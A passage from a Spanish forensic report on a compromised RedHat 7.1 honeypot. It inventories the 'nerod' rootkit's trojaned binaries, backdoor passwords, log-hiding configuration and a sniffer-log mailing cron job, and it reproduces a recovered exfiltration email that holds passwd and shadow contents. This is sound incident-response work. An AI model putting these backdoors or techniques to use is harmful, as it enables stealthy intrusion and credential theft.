permite la entrada en el sistema mediante el password escondido "satori", sea cual sea el password real del usuario. Adicionalmente, emplear el usuario "rewt" da acceso como "root".

Page 34: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 32

/bin/lps ac0b58050deb21db1ed701277521320b Binario /bin/ls original de RedHat 7.1, movido aquí por el script /var/ftp/nerod/install /bin/ls cfb7a44f86a5e648fdef3367e2b6495b Troyano del comando ls, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof. Instalado desde /var/ftp/nerod/install y contaminado por el virus RST.b.

/bin/lsp dc1961b6ce3ff6d6fe2c89c8603f4985 Binario /bin/ls original de RedHat 7.1, movido aquí por el script /var/ftp/nerod/install /bin/mail 030678939129ca2a1c0fb896f61a597e binario original, infectado por el RST.b virus /bin/me d0a432ea2e4e9b462d29796da8eb7bcb Instalado desde /var/ftp/nerod por el script de instalación del rootkit, es un script

que únicamente contiene: #!/bin/sh unset HISTFILE unset TMOUT echo " cd /usr/man/man1/psybnc" echo " open ftp.geocities.com"

/bin/mkdir abf35510c59121810e5ca4bd51df99fa binario original, infectado por el RST.b virus /bin/mknod 7c2def7291b2c3ba89b9272bdf2fb29d binario original, infectado por el RST.b virus /bin/mktemp 4a0a1da5160458609427e48eddc61960 binario original, infectado por el RST.b virus /bin/mt 200a5dcf77ebeb4890727c5d45cdaa14 binario original, infectado por el RST.b virus /bin/mv 6f839f6be00c930ca0a4713df57995d2 binario original, infectado por el RST.b virus /bin/netstat 018ff2c8b70dc7534eed16c846c756ec Troyano del comando netstat, esconde de su salida las direcciones IP o nombres de

dominio indicadas en el fichero de configuración /dev/ttyoa. Instalado por /var/ftp/nerod/install y contaminado con el virus RST.b

/bin/ping 5eb2fcd4a86f49a3f24d2b624fc869c3 binario original, infectado por el RST.b virus /bin/ps a71c756f78583895afe7e03336686f8b Troyano del comando 'ps' estándar. Esconde de su salida todos los procesos

indicados en el fichero /dev/ttyop. El checksum md5 coincide con un fichero con el que ya nos hemos encontrado en otro análisis forense. En concreto, se trata del mismo fichero instalado por un rootkit en la intrusión descrita en el reto de Honeynet número 29. ( ver Uhttp://project.honeynet.org/scans/scan29/U)

/bin/setserial 365a33d2809406bf304ad1a2347e9e7a RST.b virus. setserial "seguro" traido por los administradores del honeypot

Page 35: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 33

/bin/shad 55955848943cbe9a0bc0fe3d14cba972 Programa para arrancar otros binarios escondiendo su auténtico nombre,

cambiando el argv[0]. Uso: shad <nombre_ficticio> <comando a ejecutar> <parametros>. Instalado por el script de instalación del rootkit bajo /var/tmp/nerod

/dev/hdx1 d41d8cd98f00b204e9800998ecf8427e d41d8cd98f00b204e9800998ecf8427e Estos dos ficheros vacíos resultan de la ejecución de un programa contaminado con

el virus RST.b. En concreto, el origen del mismo es /var/tmp/.,/httpd. /dev/ttyoa 6b7b4d6270255ba973f9865020490423 Contiene las conexiones de red a esconder de la salida del comando 'netstat'

troyano. El formato del fichero es el siguiente: [ 1 = Esconder conexiones entrantes de esa dirección ] [ 2 = Esconder conexiones salientes a esa dirección ] [ 3 = Esconder conexiones entrantes a ese puerto ] [ 4 = Esconder conexiones salientes a ese puerto ] [ 5 = Esconder un socket UNIX (directorio) ]

/dev/ttyof 14aafeab735548f0d6c24cfb6e6803c0 Contiene la lista de ficheros a esconder (fichero de configuración de los comandos

troyanos 'ls', 'du', 'find' y 'vdir') /dev/ttyop 710657a7b9f9fb864739f57a71f37ecc Contiene la lista de procesos a esconder (fichero de configuración de los comandos

troyanos 'ps', 'killall', 'top' y 'pstree') /dev/ttyos 9da4efc8dfc18db52f0f39fdc1f04ff3 Contiene la lista de cadenas a esconder del sistema de log (fichero de

configuración del syslogd troyano instalado) /etc/ftp 67b48c5d64cf856db41ae33636cf748e Fichero de texto, que únicamente contiene la cadena "ssh", aparentemente con la

intención de impedir el acceso del usuario ssh via ftp /etc/ftpusers 37022f11e99ae50bba1e304d3f82fae5 Modificado por el hacker, para contener ssh, con la intención de impedir el acceso

de este usuario via ftp. /etc/group 61c6a6548763338d16ad210564b48fb4 21492de7c7058104cbf337de42576765 Modificados para tener el usuario 'nerod'. /etc/gshadow 74e7c4edf1d9344c31bb85b686748d5b 78d7d99f79928eb6c0239ee69ad7e4d3 Ficheros shadow del /etc/group. /etc/passwd a74ac1c6c65c7c20ff392ecf62770d0d aed586ed7f875fba47848814d58655f6 Con respecto a un sistema 'limpio', hay 3 cuentas: pepelu (creada por el

administrador del sistema), ssh (creada por el script /var/tmp/nerod/install, sin password) y nerod, creada en la intrusión. Además, se ha eliminado la cuenta ‘ftp’.

Page 36: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 34

/etc/passwd.OLD 8a7e8058f36133a8472634009c09b529 Copia del /etc/passwd, hecha por el administrador tras añadir el usuario pepelu. /etc/rc.d/init.d/atd 5e13cb6e8a752921bae378ea9ccbb2ec Fichero de arranque del demonio 'atd', instalado en /etc/rc.d/init.d/atd, que

además de arrancar del demonio de 'at' tal y como hace el fichero estándar, se asegura de arrancar todos los troyanos instalados con unas líneas de "inet_start all" camufladas por enmedio. Esta función 'inet_start' está definida en el fichero 'functions', también modificado por el rootkit.

/etc/rc.d/init.d/functions 231835c85f215a44fe2d48c9dc389457 Script modificado para definir la función 'inet_start' para arrancar los siguientes

troyanos: sshd y el sniffer bajo /usr/local/games/identd. Se copió al final del fichero /etc/rc.d/init.d/functions estándar por el script de instalación del rootkit. De esta forma, y al ser también modificados /etc/rc.d/init.d/atd y /etc/rc.d/init.d/inet, se asegura el arranque automático de los mismos con el inicio del sistema.

/etc/rc.d/init.d/sshd b33deb29db1aed81866e048416b0bd68 Script de arranque del demonio sshd instalado desde /var/tmp/nerod/sshd; el script

'sshd-install' lo copia desde init.sshd. La diferencia fundamental con el script de arranque estándar es que éste nunca intenta generar nuevas claves, con el objeto de seguir siempre empleando las instaladas por el hacker.

/etc/rc.d/init.d/syslog 29056af3ff697f3cf5de07ef3bc46814 Script de arranque del demonio syslogd, copiado desde /var/tmp/nerod /etc/ssh/ssh_host_key 4effc0e40601df5c7ac6617c4f41eb51 Clave privada de ssh, copiada desde /var/tmp/nerod/sshd. Interesante la cadena

[email protected]. /etc/ssh/sshd_config 57d92002e68514d8998ee64198bbe975 Fichero de configuración de sshd, instalado por 'sshd-install' desde

/var/tmp/nerod/sshd. Configura al demonio para escuchar en el puerto 1981, en lugar del estándar 22.

/etc/ssh_host_key 4effc0e40601df5c7ac6617c4f41eb51 Clave privada de ssh, copiada desde /var/tmp/nerod/sshd. Interesante la cadena

[email protected]. /etc/ssh_random_seed b2cbc7108a7f5373961a84fd04f67da8 Fichero semilla de ssh, copiado desde /var/tmp/nerod/sshd. /etc/sshd_config 57d92002e68514d8998ee64198bbe975 Fichero de configuración de sshd, instalado por 'sshd-install' desde

/var/tmp/nerod/sshd. Configura al demonio para escuchar en el puerto 1981, en lugar del estándar 22.

/etc/xinetd.d/wu-ftpd 0291b392c300c7a92870320388205f2a Configurado por el administrador del sistema para habilitar wu-ftpd /home/nerod/.bash_logout

d19bbbed9d713f97f487b9ed9ec3f62f

/home/nerod/.bash_profile

4e864b291c787d826e6fc8daf31c2f83

/home/nerod/.bashrc b4bae87d7ae5dec79524bcd6eefb9acb /home/nerod/.emacs 5b3d50b0ecc06f0cc0071524d133acf6 /home/nerod/.screenrc c17d319e7b9ffd7cde89e6f65cfcfcac

Page 37: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 35

Ficheros estándar de configuración RedHat7 para 'nerod'.

/home/pepelu/.bash_logout

d19bbbed9d713f97f487b9ed9ec3f62f

/home/pepelu/.bash_profile

4e864b291c787d826e6fc8daf31c2f83

/home/pepelu/.bashrc b4bae87d7ae5dec79524bcd6eefb9acb /home/pepelu/.emacs 5b3d50b0ecc06f0cc0071524d133acf6 /home/pepelu/.screenrc c17d319e7b9ffd7cde89e6f65cfcfcac Ficheros estándar de configuración RedHat7 para 'pepelu'. /root/.bash_history 04ee52d8d06e83e650ca580294b807ea Contiene una serie de comandos ejecutados por root, Hay varias partes bien

diferenciadas: 1- Configuración de lilo y wu-ftpd, realizada por el administrador del sistema. 2- Actividad de intrusión, relacionada con la descarga y creación de ficheros bajo /root/., 3- Actividad de intrusión, relacionada con actividad bajo /var/tmp/., Es interesante hacer notar que el fichero fue truncado por el administrador del sistema para no dejar constancia de los comandos ejecutados por el para copiar las imágenes de las particiones.

/root/.ncftp/firewall 1cbb57a19bdf8db88a29a9219bcc2cc6 Fichero de configuración de 'ncftp' para el usuario root. Ncftp fue usado por los

administradores del sistema para copiar ficheros. /sbin/iportmap e47eb7a4d32ec4b80b29d4d238ef4a8c Binario /sbin/portmap original de RedHat 7.1, movido aquí por el script

/var/ftp/nerod/install /sbin/syslogd 53fc8c03b327952fbe891d4f02a036b8 Syslogd troyano, forma parte del rootkit instalado desde /var/ftp/nerod. No envía al

log del sistema ninguna información con cadenas encontradas en /dev/ttyos /usr/bin/chsh 71dcb1516635e8910a37444ecd95992f Troyano del comando /usr/bin/chsh, está además protegido contra el análisis, al

capturar las llamadas a 'ptrace'. Se trata de un 'backdoor' que da acceso al sistemacomo 'root' al introducir como nueva shell la palabra clave "satori". Este binario es alguna variante del incluido en el rootkit lrk4, ver Uhttp://project.honeynet.org/papers/enemy3/README.txt U. Instalado desde /var/ftp/nerod

/usr/bin/clean f9e2970e3a7682440316b6e1a2687cbe Script para borrar todas las líneas conteniendo una cadena que se pase como

parámetro de todos los ficheros de log bajo /var/log, rearrancando el demonio syslogd. Instalado por el script de instalación 'install' del rootkit bajo /var/ftp/nerod

/usr/bin/dir 9e7165f965254830d0525fda3168fd7d Troyano del comando /bin/ls, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof. Se trata del mismo fichero analizado en el reto de honeynet #29 (ver por ejemplo, Uhttp://www.honeynet.org/scans/scan29/sol/gmartin/filelist.html U). Instalado desde /var/ftp/nerod

Page 38: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 36

/usr/bin/du 12cc055bf763b37f9792b7bef92cf093 Troyano del comando /usr/bin/du, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof. Copiado desde /var/ftp/nerod.

/usr/bin/find eb1c26da59b892570f4567469d49bd8c Troyano del comando /usr/bin/find, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof. Instalado desde /var/ftp/nerod.

/usr/bin/imp da4171d1b46b7792b79a53fc87457fe4 Herramienta de denegación de servicio (DoS) mediante la técnica de 'SYN

flooding', bombardea a un sistema objetivo con un alto número de peticiones de conexión, consiguiendo de forma efectiva su paralización. Instalada desde /var/ftp/nerod por el script de instalación del rootkit. Conocida también como 'slice3' puede obtenerse enU http://packetstormsecurity.nl/DoS/indexdate.shtml U

/usr/bin/killall 1678eb0817a0775fdadd24119e28d810 Troyano del comando /usr/bin/killall, ignora los procesos indicados en el fichero de

configuración /dev/ttyop. Instalado desde /var/ftp/nerod. /usr/bin/lfind 13838a254761739dc06b05663a5770b2 Binario /usr/bin/find original de RedHat 7.1, movido aquí por el script

/var/ftp/nerod/install /usr/bin/ltop be854d9c69c40b22535323bf29cbb20e Binario /usr/bin/top original de RedHat 7.1, movido aquí por el script

/var/ftp/nerod/install /usr/bin/pidof ed439d80889017fe5499c2e6e6448a24 Binario /usr/bin/killall original de RedHat 7.1, movido aquí por el script

/var/ftp/nerod/install /usr/bin/rmold 61eaec2dc4b9466c6e67fd029eb03425 wget 1.5.3-1 /usr/bin/shad 55955848943cbe9a0bc0fe3d14cba972 Programa para arrancar otros binarios escondiendo su auténtico nombre,

cambiando el argv[0]. Uso: shad <nombre_ficticio> <comando a ejecutar> <parametros>. Instalado por el script de instalación del rootkit bajo /var/tmp/nerod

/usr/bin/top 58a7e5abe4b01923c619aca3431e13a8 Troyano del comando top, instalado desde el rootkit de /var/tmp/nerod/, esconde

de su salida los procesos indicados en el fichero de configuración /dev/ttyop /usr/bin/vdir bfb9788eaa2010ebad96be6aead8a600 Troyano del comando vdir, instalado desde /var/tmp/nerod, esconde de su salida

los ficheros cuyos nombres contengan lo indicado en el fichero de configuración /dev/ttyof.

/usr/bin/wp c4774db51553f61c8aefb1bcc123a81c Programa para limpiar los ficheros de log wtmp,utmp y lastlog. Copiado desde

/var/ftp/nerod /usr/bin/xlogin 4368d13785a784d0a2f857c725c83939 Binario /bin/login original de RedHat 7.1, movido aquí por el script

Page 39: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 37

/var/ftp/nerod/install /usr/include/rpcsvc/du f912f7c86b79779261651055f6a96b1d Binario /usr/bin/du original de RedHat 7.1, movido aquí por el script

/var/ftp/nerod/install /usr/include/rpcsvc/syslogd

9701beb6453b49d599ae42e6a99a93b8

Binario /sbin/syslogd original de RedHat 7.1, movido aquí por el script /var/ftp/nerod/install

/usr/local/games/banner

464dc23cac477c43418eb8d3ef087065

Script de perl para analizar la salida del sniffer LinSniffer, instalado desde /var/ftp/nerod por el script de instalación del rootkit. Se trata del mismo fichero analizado en el reto de honeynet #29 (ver por ejemplo, Uhttp://www.honeynet.org/scans/scan29/sol/gmartin/filelist.html U)

/usr/local/games/identd 10f6663e2e867f4d3f628648d340e7be Sniffer de red. Instalado desde /var/ftp/nerod por el script de instalación del rootkit,

recoge el tráfico de red y lo almacena en /usr/local/games/tcp.log /usr/local/games/tcp.log

4aee47f4435329eda02b050f54ad7b49

Resultado del sniffing anterior. Contiene únicamente unas conexiones ftp al sistema: adsl-209-233-126-166.dsl.scrm01.pacbell.net => 192.168.3.8 [21] ----- [Timed Out] proxyscan.undernet.org => redhat71 [23] 9i ----- [Timed Out] 67.96.226.249 => 192.168.3.2 [21] ----- [Timed Out] 67.96.226.249 => 192.168.192.98 [21] ----- [Timed Out] 62.194.200.212 => 192.168.192.98 [21] X

/usr/local/sbin/sshd d17e923542b202746b9b3dad26ed25e7 Se trata de un troyano de sshd, con una puerta trasera que permite el acceso al

sistema con el password cuyo md5 sea "54818b05d116eadc7f67517a3a6e4b33", instalada desde /var/ftp/nerod.

/usr/sbin/atd 93002f144fde901260f4b4ebdce57630

backdoor de red. Se trata de una shell conectada al puerto 465 (smtps) haciendose pasar por un servidor Sendmail: aparece el banner típico de: 220 - localhost.localdomain SMTPS Sendmail 8.11.0/8.11.0; <fecha>. Cualquier comando que se le introduzca produce un simulacro de error: 500 5.5.1 Command unrecognized: "<comando>" Unicamente al introducir una palabra cuyo checksum md5 de como resultado "855f314a4a3eebb6e1f9c3dae3a8ae31" (generado con un simple echo -n | /usr/bin/md5sum) se abre automáticamente una shell, de la que se ha eliminado el history log. Este binario se copia a desde /var/ftp/nerod/md5bd mediante el script de 'install'. Setrata del mismo fichero descrito en HUhttp://www.blockout.info/BkdoorRkTroj/Fredriktxt1.txt UH.

Page 40: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 38

/var/spool/cron/operator

be89bbc0370ac251540813355a1fd850

Fichero de configuración de cron, para enviar el primero de cada mes el fichero resultado de sniffing (/usr/local/games/tcp.log) junto con la configuración de red del sistema a la dirección de correo [email protected]". Modificado desde la instalación de /var/ftp/nerod

5.5. Resumen de la actividad IRC

A efectos de facilitar su comparación, hemos agrupado en esta tabla resumen la información sobre los proxies de IRC configurados en el sistema:

/root/.,/psybnc /var/tmp/.,/psync /var/tmp/.,/emech Versión 2.2.1 2.2.2BETA N/A Puertos locales 3245

6869 1983

6669 N/A

Servidores IRC mesa.az.us.undernet.org:6667 eu.undernet.org:6667

mesa.az.us.undernet.org:6667 stockholm.se.eu.undernet.org:6667

15 servidores undernet (los de por defecto)

Login George / george adrian adrian User Sa lmi Sugi Pola Cu Whoisu

Tau Cu Tot Lamere / ^2^311,12Protected By Pizda Lui Mata...

Gone 4 Everto another space

Lost4Ever in Cyberspace

Password `l0G'80... / idem. `Y14`k1I... 12-rY... Nick NeRoD / NeRoD a Lost4Ever Canales #hackeri

#half_bb #help-me #School-Help #beton #bag.pula.in.mata.cu.whoisu.tau.cu.tot #linuxvr

N/A #beius #beton

Arranque 23 Ago 01:17:41 23 Ago 10:18:29 23 Ago 10:20:29 Ultimo mensaje/acceso

23 Ago 01:17:41 23 Ago 15:31:48 23 Ago 15:00:00 (modificación y cambio de mech.session)

PID 7464 7956 7989 Conexiones De la unidad 781 de swap:

01:18:47 George (80.96.68.72) 03:19:41 george (misma IP) 09:29:17 George (80.96.68.71) 09:37:23 george (misma IP)

Del fichero de log (/var/.,/psybnc/log/psybnc.log): 10:22:19 Connect from 213.154.99.10. New user adrian.

N/A

Page 41: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 39

6. Direcciones IP implicadas

A continuación se muestra la información de registro de algunas direcciones IP implicadas en el ataque analizado.

En los casos en los que ha sido posible, se ha añadido información obtenida de DShield (Uwww.dshield.orgU) y/o Google (Uwww.google.com U).

Dirección IP Razón de interés / Información de registro 218.146.115.18 Primera conexión FTP anónima, Aug 22 08:17:24, registrada en

/var/log/secure. Sin traducción DNS. Asociada a un ISP de Korea: Uwww.kornet.com U

Información

de registro: * APNIC (Asia): www.apnic.net inetnum: 218.144.0.0 - 218.159.255.255 netname: KORNET descr: KOREA TELECOM descr: Network Management Center country: KR

213.84.155.131 Conexión FTP anónima, Aug 22 08:30:13, registrada en /var/log/secure. Traducción DNS: 84-155-131.adsl.xs4all.nl Asociada a un ISP de Holanda: Uwww.xs4all.net U

Información

de registro: * RIPE (Europa): www.ripe.net inetnum: 213.84.137.0 - 213.84.159.255 netname: XS4ALL-ADSL descr: XS4ALL Internet BV descr: ADSL Static IP numbers country: NL

210.83.207.251 Conexión FTP sin autentificarse (ni siquiera como anónima), Aug 22 13:11:59, registrada en /var/log/secure. Sin traducción DNS. Asociada a un ISP de China: china-netcom.com Otros sitios en Internet han recibido escaneos de puertos desde esta IP hacia el puerto de FTP (21), por lo que parece que se disponía de un exploit para FTP con el que se pretendía acceder a numerosos equipos: Uhttp://cert.uni-stuttgart.de/archive/intrusions/2002/08/msg00260.html

Información de registro:

* APNIC: inetnum: 210.83.207.240 - 210.83.207.255 netname: dalian-guanganmen-corp country: cn descr: dalian city admin-c: TC254-AP tech-c: TC254-AP

Page 42: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 40

Dirección IP Razón de interés / Información de registro 200.47.186.114 Conexiones FTP anónimas, Aug 23 00:12:13 y 00:22:48, registradas en

/var/log/secure. Sin traducción DNS. Asociada a un ISP de Perú: Uwww.comsat.com.pe U. Esta es la dirección IP desde la que el atacante logró acceso como root al sistema.

Información de registro:

* LACNIC (Latinoamérica y Caribe): www.lacnic.netinetnum: 200.47.186/24 status: reallocated owner: COMSAT Peru S.A. - LMGT ownerid: PE-CPSL1-LACNIC responsible: Operaciones COMSAT address: Martir Olaya, 129, Miraflores address: 18 - Lima - LI country: PE

195.116.20.232 Conexión SSH, Aug 22 08:17:24, registrada en /var/log/secure. Sin traducción DNS. Asociada a un ISP de Polonia: Uwww.telekomunikacja.pl U. Como curiosidad, existen en Google informes que reflejan que se accedió desde esta IP a " Uhttp://www.sdf.se/~jocke/ U".

Información de registro:

* RIPE: inetnum: 195.116.0.0 - 195.117.255.255 netname: PL-TPSA-960123 descr: PROVIDER descr: TP S.A. Centrum Systemow Teleinformatycznych country: PL

213.154.99.10 Conexión al psybnc de /var/.,/psybnc como usuario adrian. Traducción DNS: unasigned-reverse-213.154.99.10.pcnet.ro Asociada a un ISP de Rumanía: Uwww.pcnet.roU

Información

de registro: * RIPE: inetnum: 213.154.96.0 - 213.154.127.255 netname: PCNET descr: PCNET Data Network S.A. descr: PROVIDER ADSL Network country: RO

80.96.68.72 y 71 Conexiones del psybnc de /root/.,/psybnc como usuario George y george Traducciones DNS: 80-96-68-72.rdsnet.ro y 80-96-68-71.rdsnet.ro. Asociada a un ISP de Rumanía: Uwww.rdsnet.roU

Información

de registro: * RIPE: inetnum: 80.96.68.64 - 80.96.68.79 netname: SC-ADO-NET-SRL descr: SC Ado Net SRL descr: str. Andrei Muresan, nr. 2 descr: Campia Turzii, Cluj country: ro

Page 43: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 41

7. Conclusiones

Las siguientes conclusiones pueden ser extraídas de la investigación de este incidente.

7.1. Conclusión 1

El incidente se puede resumir en los siguientes hechos:

• Un atacante logró acceso como root al sistema explotando la vulnerabilidad CVE-2001-0550 (wu-ftpd glob) del demonio servidor de FTP "wu-ftpd".

• A continuación instaló y ejecutó parcialmente un paquete de programas denominado "nerod.tgz". Este grupo de programas constituían un "rootkit", destinado a la apertura de puertas traseras y la ocultación de las actividades del intruso.

• Después accedió al sistema utilizando una de sus puertas traseras, cerró el camino a otros atacantes que intentaran explotar la misma vulnerabilidad, e instaló dos paquetes de programas bajo "/root/.,": psybnc y awu. El primero es un conocido proxy de IRC que permite realizar conexiones IRC de forma anónima y el segundo es un conjunto de programas que permiten el ataque automático a multitud de sistemas con la vulnerabilidad de wu-ftpd.

• Finalmente, en una nueva conexión mediante una de sus puertas traseras, el intruso descargó e instaló dos nuevos paquetes de programas, esta vez bajo "/var/.,": psybnc (una versión más reciente) y emech (manu.tgz). El primero es otra versión del programa ya comentado, y el segundo es un cliente automático de IRC (IRC bot).

• En paralelo, se registró cierta actividad de los proxies IRC instalados por el atacante.

7.2. Conclusión 2

Los ataques son frecuentes, mucho más frecuentes de lo que comúnmente se piensa. Y muchos de ellos son exitosos. Y muchos de esos ataques exitosos pasan desapercibidos.

Esta conclusión se apoya en los siguientes hechos:

• No transcurrieron ni veinticuatro horas desde que se conectó el sistema a la red hasta que recibió el primer escaneo.

• El sistema fue retirado de la red, o al menos se hicieron las copias

Page 44: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 42

de sus particiones que han sido analizadas, el mismo día en que el intruso logró vulnerar el sistema. En este caso el sistema estaba seguramente bajo un escrutinio muy minucioso, dado que su objetivo desde el momento de la instalación era probablemente el de servir de víctima para poder convocar este reto forense. Pero en la vida real, la mayoría de los sistemas no están vigilados tan de cerca. ¿Cuánto tiempo habría pasado hasta que un administrador hubiese notado "algo extraño" en el sistema si no se hubiera tratado de una máquina trampa (honeypot)?

7.3. Conclusión 3

Un análisis forense de un sistema proporciona una enorme cantidad de información sobre las actividades realizadas en ese sistema, y puede aportar mucho (en algunos casos "todo") a la investigación de un posible incidente.

7.4. Conclusión 4

Preservar la evidencia es crucial para cualquier investigación forense.

En incidentes informáticos, como en incidentes de la vida real, la preservación de la evidencia juega un papel fundamental en el proceso para asegurar el éxito de la investigación. En este incidente, mucha de la información ha sido posible obtenerla porque se disponía de imágenes binarias de las particiones del sistema de un instante de tiempo cercano al incidente y sin demasiadas modificaciones inducidas por el propio administrador del sistema. Si el administrador, cuando entró en el sistema para generar las copias, hubiera empezado a lanzar comandos para "investigar", muchas de las pruebas habrían desaparecido. Véase, por ejemplo, que el simple hecho de ejecutar el comando "ls", al estar éste infectado por el virus RST.b, provocó que se reinfectaran muchos comandos bajo /usr/bin, modificando sus fechas de modificación, haciendo más difícil determinar la fecha y hora de su infección inicial.

No modificar en absoluto la evidencia no es posible en la mayoría de los casos, pero siempre se debe intentar que la modificación sea la menor posible.

Page 45: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 43

8. Referencias

[1] Vmware workstation software. Uhttp://www.vmware.comU [2] Autopsy Forensics Browser. HUhttp://www.sleuthkit.org/autopsy/index.phpUH. [3] The Sleuth Kit. HUhttp://www.sleuthkit.org/sleuthkit/index.phpUH [4] The Coroner’s Toolkit (TCT). HUhttp://www.porcupine.org/forensics/tct.html UH [5] CERTP

®P Advisory CA-2001-33 Multiple Vulnerabilities in WU-FTPD.

Descrito en HUhttp://www.cert.org/advisories/CA-2001-33.htmlUH. [6] The Honeynet project. Uhttp://www.honeynet.org U [7] Corelabs Vulnerability Report For WU-FTPD Server. Disponible en

HUhttp://www1.corest.com/common/showdoc.php?idx=172&idxseccion=10UH [8] RedHat 7.X security advisories, disponibles bajo

HUhttp://www.redhat.com/support/errata/rh7-errata-security.htmlUHU.U [9] RedHat Linux. HUhttp://www.redhat.com/ UHU.U [10] Google. HUhttp://www.google.com/UHU.U [11] EnergyMech IRCbot. HUhttp://www.energymech.net UH [12] Qualys Security Alert QSA-2002-01-01 "Remote Shell Trojan b"

(RST.b). HUhttp://www.securityfocus.com/archive/75/249346UH HUhttp://www.securityfocus.com/archive/100/247640UH HUhttp://www.virusbtn.com/magazine/archives/pdf/2002/200202.PDFUH

[13] Distributed Intrusion Detection System, HUhttp://www.dshield.org/ UH

Page 46: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 44

9. Anexos

9.1. Mail enviado en instalación de nerod

A continuación se muestra el contenido de los ficheros temporales de sendmail con la información de cabecera y el cuerpo del mensaje, respectivamente, de un mensaje de correo electrónico enviado por la instalación del rootkit nerod. Ambos ficheros fueron recuperados de la zona de espacio en disco libre de la partición /var del sistema analizado, usando Autopsy:

Contents Of File: /var/spool/mqueue/tfg7MMQ5J07358 V4 T1030055165 K0 N0 P34397 I3/7/38170 Fb $_root@localhost Sroot [email protected] RPFD:[email protected] H?P?Return-Path: <^129g> H??Received: (from root@localhost) by localhost.localdomain (8.11.2/8.11.2) id g7MMQ5J07358 for [email protected]; Fri, 23 Aug 2002 00:26:05 +0200 H?D?Date: Fri, 23 Aug 2002 00:26:05 +0200 H?F?From: root <root> H?x?Full-Name: root H?M?Message-Id: <[email protected]> H??To: [email protected] H??Subject: r00t la 80 Contents Of File: /var/spool/mqueue/dfg7MMQ5J07358 ----------------------------------------------------------------- Network info: Hostname : localhost.localdomain (192.168.3.10) Alternative IP : 127.0.0.1 Host : localhost.localdomain Distro: Red Hat Linux release 7.1 (Seawolf) Uname -a Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 19:37:14 EDT 2001 i586 unknown Uptime 12:25am up 1 day, 5:24, 0 users, load average: 0.60, 0.16, 0.05 Pwd /var/ftp/nerod ID uid=0(root) gid=0(root) groups=50(ftp) ----------------------------------------------------------------- Yahoo.com ping:

Page 47: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 45

PING 216.115.108.243 (216.115.108.243) from 192.168.3.10 : 56(84) bytes of data. --- 216.115.108.243 ping statistics --- 6 packets transmitted, 0 packets received, 100% packet loss ----------------------------------------------------------------- Hw info: CPU Speed: 166.196MHz CPU Vendor: vendor_id : GenuineIntel CPU Model: model name : Pentium 75 - 200 RAM: 48 Mb HDD(s): Filesystem Type Size Used Avail Use% Mounted on /dev/hda8 ext2 251M 52M 185M 22% / /dev/hda1 ext2 53M 3.4M 47M 7% /boot /dev/hda6 ext2 1.5G 44k 1.4G 1% /home /dev/hda5 ext2 1.5G 479M 1023M 32% /usr /dev/hda7 ext2 251M 20M 218M 9% /var ----------------------------------------------------------------- Ports open: portmap 462 root 4u IPv4 740 TCP *:sunrpc (LISTEN) rpc.statd 477 root 6u IPv4 775 TCP *:1024 (LISTEN) sshd 649 root 3u IPv4 973 TCP *:ssh (LISTEN) sendmail 704 root 4u IPv4 1060 TCP localhost.localdomain:smtp (LISTEN) xinetd 812 root 3u IPv4 1184 TCP *:ftp (LISTEN) sshd 7203 root 3u IPv4 7762 TCP *:4 (LISTEN) atd 7212 root 3u IPv4 7747 TCP *:smtps (LISTEN) ----------------------------------------------------------------- /etc/passwd & /etc/shadow /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/var/ftp: nobody:x:99:99:Nobody:/: nscd:x:28:28:NSCD Daemon:/:/bin/false apache:x:48:48:Apache:/var/www:/bin/false named:x:25:25:Named:/var/named:/bin/false ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false mailnull:x:47:47::/var/spool/mqueue:/dev/null ident:x:98:98:pident user:/:/bin/false rpc:x:32:32:Portmapper RPC user:/:/bin/false rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false pepelu:x:500:500:Jose Luis Martinez:/home/pepelu:/bin/bash ssh:x:0:0:root:/root:/bin/bash /etc/shadow root:$1$QHOGkjk8$xm2w3kamFMTJ0jGJGWOgB.:11920:0:99999:7::: bin:*:11920:0:99999:7::: daemon:*:11920:0:99999:7::: adm:*:11920:0:99999:7::: lp:*:11920:0:99999:7::: 